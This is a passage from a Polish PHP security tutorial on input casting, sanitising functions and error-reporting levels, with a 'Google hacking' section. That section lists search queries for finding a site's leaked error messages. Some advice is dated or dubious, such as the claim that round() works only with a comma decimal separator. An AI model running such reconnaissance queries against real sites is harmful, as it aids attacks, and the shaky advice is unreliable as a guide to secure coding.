następuje jej odcięcie do pierwszej liczby znaczącej, czyli w naszym przypadku do 1
. Uwaga w wypadku round poprawny wynik zostanie zwrócony tylko dla liczb w których użyty zostanie ,
np. 1,5
bo jeśli użyjemy .
np. 1.5
to zwrócony wynik również będzie błędny, dlatego też zaleca się skorzystać z metody rzutowania na typ całkowity.
- Użytkownik podaje jako liczbę sztuk np.
-9999999
, czyli krótko mówiąc liczbę mniszą od zera, w tym wypadku również rozwiązanie zaprezentowane powyżej nie pomoże, dlatego z pomocą przychodzi nam rzutowanie zmiennych:
<?php $ileSztuk = (int)( $_POST['ilosc_stuk'] ); if( isset( $ileSztuk ) && $ileSztuk > 0 ) // [...]Jak widać oprócz rzutowania w naszym wypadku na typ całkowity int, należało również sprawdzić, czy czasem nie jest to liczba mniejsza od 0, ponieważ samo rzutowanie by nie wystarczyło.
Pamiętaj! Kiedy pobieramy od użytkownika, jakieś dane, to zawsze należy się zastanowić jakie będą one miały przeznaczenie. Jeśli to będą np. liczby całkowite jak na zaprezentowanym powyżej przykładzie, to należy zawszę przed wprowadzeniem ich do bazy danych, przeprowadzić rzutowanie na dany typ danych, aby unikać tego typu pomyłek.Uwaga Nigdy nie należy rzutować nieznanego ułamka do typu integer, gdyż może to doprowadzić do nieoczekiwanych rezultatów.
Zestawienie podstawowych funkcji odpowiedzialnych za filtrowanie danych od użytkownika
- string addslashes ( string
string
) Zwraca ciąg znaków z dodanymi znakami \ (backslash) przez znakami specjalnymi, takimi jak:" ' $ \
. Przeciwieństwem tej funkcji jest funkcja stripslashes. Potrzebne przy dodawaniu danych do bazy danych, - string basename ( string
ścieżka
[, stringprzyrostek
] ) Zwraca nazwę pliku, obcinając z ciągu znaków wszystkie foldery, - string escapeshellcmd ( string
komenda
) Dodaje do łańcucha znaki, uniemożliwiające jego zinterpretowanie jako polecenia powłoki przez funkcje exec(), shell_exec() i system(), - string htmlspecialchars ( string
string
[, intquote_style
[, stringcharset
] ] ) Konwertuje znaki specjalne htmlu (&, ", ', < i >
) na odpowiednie encje znakowe. Uniemożliwia wykonanie kodu html w przeglądarce, - string mysql_escape_string ( string
łańcuch_bez_znaków_unikowych
) Funkcja podobna do addslashes, tylko bardziej nastawiona na mysql, jednakże obecnie zaleca się korzystanie z klasy PDO, gdzie mamy PDO::quote, - string strip_tags ( string
str
[, stringdozwolone_znaczniki
] ) Wycina wszystkie tagi html i php z podanego ciągu znaków, - rodzina funkcji filtrujących np. mixed filter_input ( int
typ
, stringnazwa_zmiennej
[, intfiltr
= FILTER_DEFAULT [, mixedopcje
] ] ), - string trim ( string
str
[, stringcharlist
= " \t\n\r\0\x0B" ] ) Usuwa niedrukowane znaki (spacje, tabulacje) na początku i końcu łańcucha.
Poziomy raportowania błędów
Poziom raportowania błędów określa, na jakie zdarzenia PHP ma reagować wyświetleniem stosownego komunikatu. Docelowo ustawia się go w pliku konfiguracyjnym php.ini
, w dyrektywie errorreporting. Początkowo zaleca się ustawienie raportowania błędów na poziomie EALL | ESTRICT dla PHP < 5.4.0, ponieważ wraz z wersją 5.4.0 - ESTRICT stał się częścią EALL i wystarczy użyć w tym wypadku tylko EALL. Jednakże takie ustawienie należy stosować tylko i wyłącznie w fazie tworzenia/testowania naszych skryptów. Więc gdy już zakończymy prace nad naszym skryptem i umieścimy w Internecie, należy wyłączyć wyświetlanie wszystkich błędów, ponieważ takie komunikaty często ujawniają wiele informacji o skrypcie, czy też używanym przez nas oprogramowaniu, które mogą ułatwić atak na nasz serwis.
Poziom raportowania można tymczasowo zmieniać z poziomu skryptu funkcją error_reporting()
:
Przykład 1
<?php error_reporting( E_ALL ^ E_NOTICE ); echo 'Brak komunikatu Notice: '.$nieistniejacaZmienna;
Funkcja ta zawsze zwraca jako rezultat dotychczasowy poziom raportowania, dzięki czemu możemy go potem bez problemu przywrócić:
Przykład 1a
<?php $blad = error_reporting( E_ALL ^ E_NOTICE ); echo 'Brak komunikatu Notice: '.$nieistniejacaZmienna; error_reporting( $blad ); echo 'A teraz już jest: '.$nieistniejacaZmienna;
Google hacking
Jedną z popularnych technik, którą można zastosować, aby wyłuskać interesujące informacje o aplikacji z komunikatów o błędach, jest tzw. google hacking – czyli, najprościej rzecz ujmując, poszukiwanie w Google zaindeksowanych stron zawierających komunikaty z błędami.
Przykład 1
site:comstudio.fwl.pl unknown site:comstudio.fwl.pl error site:comstudio.fwl.pl warning site:comstudio.fwl.pl exception site:comstudio.fwl.pl invalid site:comstudio.fwl.pl sql query
Ponadto korzystając z wyszukiwarki, atakujący nie potrzebuje uzyskiwać dostępu do naszej aplikacji – więc nawet nie wiemy o potencjalnie rozpoczynającym się ataku… Co więcej, wystarczy, że nasza aplikacja działała tylko chwilę w trybie ze szczegółowym wyświetlaniem błędów i że akurat w tym momencie strony z komunikatami błędów zaindeksował robot. Dlatego należy pamiętać, że nigdy nie należy pozostawiać włączonego raportowania błędów jeśli umieszczamy naszą aplikację w sieci.
Dostępne poziomy raportowania błędów:
Kompatybilność: PHP4, PHP5.
1 | E_ERROR |
2 | E_WARNING |
4 | E_PARSE |
8 | E_NOTICE |
16 | E_CORE_ERROR |
32 | E_CORE_WARNING |
64 | E_COMPILE_ERROR |
128 | E_COMPILE_WARNING |
256 | E_USER_ERROR |
512 | E_USER_WARNING |
1024 | E_USER_NOTICE |
6143 | E_ALL |
2048 | E_STRICT |
4096 | E_RECOVERABLE_ERROR |
8192 | E_DEPRECATED |
16384 | E_USER_DEPRECATED |
Ostatnia Aktualizacja 21 marca 2013 roku
Autor: Andrzej Kostrzewa